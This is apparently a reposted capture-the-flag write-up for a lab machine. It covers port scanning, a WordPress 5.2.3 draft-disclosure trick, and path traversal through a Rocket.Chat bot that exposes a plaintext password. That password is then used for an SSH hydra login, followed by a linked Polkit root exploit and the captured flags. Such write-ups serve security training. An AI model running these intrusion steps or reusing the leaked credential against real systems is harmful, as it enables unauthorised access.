您的位置:首页 > 汽车 > 时评 > html所有标签大全_青岛代理记账公司有哪些_网站统计工具有哪些_网站关键词怎样优化

html所有标签大全_青岛代理记账公司有哪些_网站统计工具有哪些_网站关键词怎样优化

2025/2/23 13:47:53 来源:https://blog.csdn.net/qq_51886509/article/details/145672883  浏览:    关键词:html所有标签大全_青岛代理记账公司有哪些_网站统计工具有哪些_网站关键词怎样优化
html所有标签大全_青岛代理记账公司有哪些_网站统计工具有哪些_网站关键词怎样优化

Information Gathering

IP AddressOpening Ports
10.10.11.143TCP:22,80,443

$ ip='10.10.11.143'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 1005ea5056a600cb1c9c93df5f83e064 (RSA)
|   256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA)
|_  256 3178afd13bc42e9d604eeb5d03eca022 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: Blunder Tiffin Inc. – The best paper company in the elec...
|_http-generator: WordPress 5.2.3
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
| http-methods: 
|_  Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28

Wordpress 5.2.3 unauthorized access

http://10.10.11.143/

image.png

$ whatweb http://10.10.11.143/ -v

image-1.png

# echo '10.10.11.143 office.paper'>>/etc/hosts

http://office.paper/

image-2.png

image-3.png

$ feroxbuster -u 'http://office.paper/'

image-4.png

$ wpscan --url 'http://office.paper/'

image-5.png

https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2

http://office.paper/?static=1

image-6.png

# echo '10.10.11.143 chat.office.paper'>>/etc/hosts

image-7.png

hubot-rocketchat LFI

https://github.com/RocketChat/hubot-rocketchat

list .

image-9.png

list …/

image-10.png

file …/hubot/.env

image-11.png

username:recyclops
password:Queenofblad3s!23

$ hydra -L user -p 'Queenofblad3s!23' ssh://10.10.11.143

image-12.png

image-13.png

User.txt

5f02c513c06b2e212e3433c1a09e5103

Privilege Escalation:Polkit

https://github.com/Almorabea/Polkit-exploit

image-14.png

Root.txt

97ae0f9636f32f353b018406349c97ad

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com